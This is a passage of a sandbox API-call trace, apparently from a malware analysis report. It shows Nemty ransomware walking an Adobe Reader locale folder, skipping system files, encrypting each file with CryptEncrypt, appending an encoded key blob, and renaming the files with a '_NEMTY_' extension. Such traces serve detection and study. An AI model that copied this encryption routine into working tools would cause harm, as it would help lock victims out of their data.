CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.ESP", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.ESP", lpUsedDefaultChar=0x0) returned 9 [0175.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.660] Sleep (dwMilliseconds=0x5) [0175.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c5aa090, dwHighDateTime=0x1d561e8)) [0175.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c5aa090, dwHighDateTime=0x1d561e8)) [0175.670] GetLastError () returned 0x0 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.670] GetLastError () returned 0x0 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.670] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.670] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.670] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="bUB7nPt5yEYWTQoqDlpxcaXa6YBQk7hFwnebKm30XGcVngHKeZvydBdIRCDNhK6d\r\nyuk0wteuWirXssEdcvlmSDZN51rzzO8Jdx4f830sGFp6+XD70N1BF8MqQ4l4X5Jt\r\n7vXA3JKuuN/CQEj2ZrC4njULIf3/jggPLvlJpNqCWUBiDRNxrhEkmnS2WzUYxdEE\r\naXegry9JTUVVgWMMb9htmvbDnykQnaKgyohJ1H9LfZHMY4Cyplz0O9+imyzdW9J3\r\nzNq/UFHBS7Gs0xbDH0w/6b/0Y8JWnPyVsw4GrbF5WrIlK1NXp4Q8Hr8KO/oZgrtl\r\n46BJAPnHl3L8FLMYacodjg==\r\n", pcchString=0x653e5dc) returned 1 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ebook.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.670] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0175.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0175.671] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.671] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0175.672] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.672] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0175.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.673] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0175.673] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.673] CloseHandle (hObject=0x2e8) returned 1 [0175.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0175.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.673] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0175.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0175.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0175.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.673] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ebook.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ebook.esp._nemty_kgobjgd_")) returned 1 [0175.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.674] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.ESP", cAlternateFileName="")) returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2=".") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="..") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="...") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="windows") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="rsa") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="NTDETECT.COM") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="ntldr") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="MSDOS.SYS") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="IO.SYS") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="boot.ini") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="boot.ini") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="ntuser.dat") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="desktop.ini") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="CONFIG.SYS") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="RECYCLER") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="bootmgr") returned 1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="programdata") returned -1 [0175.674] lstrcmpiW (lpString1="EScript.ESP", lpString2="appdata") returned 1 [0175.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ESP", lpUsedDefaultChar=0x0) returned 11 [0175.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.675] Sleep (dwMilliseconds=0x5) [0175.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c5d01f0, dwHighDateTime=0x1d561e8)) [0175.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c5d01f0, dwHighDateTime=0x1d561e8)) [0175.685] GetLastError () returned 0x0 [0175.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.685] GetLastError () returned 0x0 [0175.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.685] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.685] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="83VuCH3tFBgfvtJEjxDKqAEIUEAsUYaLOuEbTNd6n9o0veE2Mp8HxXJ7TwJR6voB\r\nIQvbR0afDGTgDXzxXBROHe2Dyf8PA0Q+apxUn6x8jF0ZsPNCEN0nNiNFKpJkGW0u\r\nH1ncAKhDZqjuRlVfC0rTD9EbZdOR9+7AbfVf2h0VxPa8K8t/16rkY6crE2oHv3wx\r\nQT7DorytFk+X+o8yglQAkhFsxVw71l+3Dxq54KfIZ+w8z3CHMm4lxvWLRyet36jm\r\no4ibfDh8y2bXE3Psa3OL0TlKbt/B8zFQXKQvxwDJZbAh5nqt0WxYERtclnP5gHG9\r\n8as0IHqKHGImEIMTkRI2Jw==\r\n", pcchString=0x653e5dc) returned 1 [0175.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.686] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\escript.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.686] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=42496) returned 1 [0175.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa600) returned 0x6352c48 [0175.686] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.686] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa600, lpOverlapped=0x0) returned 1 [0175.690] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.690] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa600, lpOverlapped=0x0) returned 1 [0175.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.691] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600 [0175.691] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.691] CloseHandle (hObject=0x2e8) returned 1 [0175.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.691] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\escript.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\escript.esp._nemty_kgobjgd_")) returned 1 [0175.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.692] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.ESP", cAlternateFileName="")) returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2=".") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="..") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="...") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="windows") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="$RECYCLE.BIN") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="rsa") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="NTDETECT.COM") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="ntldr") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="MSDOS.SYS") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="IO.SYS") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="boot.ini") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="boot.ini") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="ntuser.dat") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="desktop.ini") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="CONFIG.SYS") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="RECYCLER") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="BOOTSECT.BAK") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="bootmgr") returned 1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="programdata") returned -1 [0175.692] lstrcmpiW (lpString1="IA32.ESP", lpString2="appdata") returned 1 [0175.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ESP", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 